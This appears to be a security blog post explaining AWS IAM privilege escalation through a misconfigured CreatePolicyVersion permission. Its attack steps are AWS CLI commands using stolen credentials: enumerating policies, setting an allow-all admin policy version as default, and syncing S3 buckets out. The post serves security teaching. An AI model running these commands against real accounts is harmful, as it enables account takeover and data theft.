Exploiting IAM security Misconfigurations — Part 2

Photo by Dave Lowe on Unsplash

In Part -1 of our blog, we discussed what is IAM and how a misconfiguration in IAM can lead to Privilege Escalation, specifically a misconfigured AssumeRole policy. This post continues our journey of IAM misconfigurations where an attacker would try to exploit an IAM policy misconfiguration to elevate their privileges.

To read Part 1 of this series, go to Exploiting IAM security Misconfigurations — Part 1

AWS IAM Policy is an object in AWS that, when associated with an identity or resource defines its permissions. AWS evaluates these policies when an IAM principal (user or role) makes a request. The permissions in the policy determine whether the request is allowed or denied.

Scenario 2: Misconfigured IAM Policy — CreatePolicyVersion leads to Privilege Escalation

As we continue ahead in our series, we will assume that an attacker has gained access to the AWS credentials of a user who belongs to an organization. Similarly following the approach demonstrated in our previous blog, the attacker would enumerate their access to AWS.

After configuring AWS credentials with the profile — stolen-creds in the CLI, the attacker will enumerate what user they have compromised and the account details with the following command

aws sts get-caller-identity --profile stolen-creds

In this case, the compromised user is “IAM-user-0132”.

One lucrative service that most attackers go after in AWS, once credential compromise has happened, is S3.

The following command lists all S3 buckets in the account of the profile provided

aws s3 ls --profile stolen-creds

Turns out this user, does not have the ability to list S3 buckets. Let’s try to enumerate what policy is attached to the user directly (Inline-Policy) with the following command

aws iam list-attached-user-policies --user-name IAM-user-0132 --profile stolen-creds

The next step would be to retrieve more information about “IAM-dev-user-policy” with the following command

aws iam get-policy --policy-arn <policy-arn> --profile stolen-creds

The next step would be to retrieve the JSON version of this policy, to understand in detail what this compromised user is authorized to do.

aws iam get-policy-version --policy-arn <policy-arn> --version-id v1 --profile stolen-creds

On observing the output carefully the user is allowed to perform all the Get and List actions on all the IAM resources. This would allow him to gather information about all the users in the account.

But the more interesting policy here is the “iam:CreatePolicyVersion”

1. This policy creates a new version of the specified managed policy.
2. * in Resource means the compromised user can create a new version of any available managed policy.

The usage of this policy will allow the attacker to escalate the privileges of the compromised user to an administrator user by updating their policy to a newer policy version with administrator access.

To complete this attack, the attacker can create an administrator policy in a JSON format with the following content in it and make it the default policy of the compromised user.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*"
        }
    ]
}

The command below is used for privilege escalation

aws iam create-policy-version --policy-arn <policy-arn> --policy-document file://./admin-policy.json --set-as-default --profile stolen-creds

This command will create a new policy with administrator privileges and will set it as the default policy for the compromised user.

Let’s check the policies attached to the compromised user with the following command

aws iam list-policy-versions --policy-arn <policy-arn> --profile stolen-creds

Verify the v2 version which is the default inline policy for the compromised user with the following command

aws iam get-policy-version --policy-arn <policy-arn> --version-id v2 --query "PolicyVersion.Document" --profile stolen-creds

This policy, in effect, gives the user access to all actions across all services in AWS.

The attacker can now finally sync S3 bucket contents to a local directory

aws s3 sync s3://your-bucket-name local-directory-path

In a real-world scenario, a user with a misconfigured CreatePolicyVersion can create any managed AWS policy and gain full control over the AWS environment. This essentially gives the attacker complete control over the AWS account.

Watch out for Part 3 of this series where we will discuss another IAM misconfiguration, to conclude the series.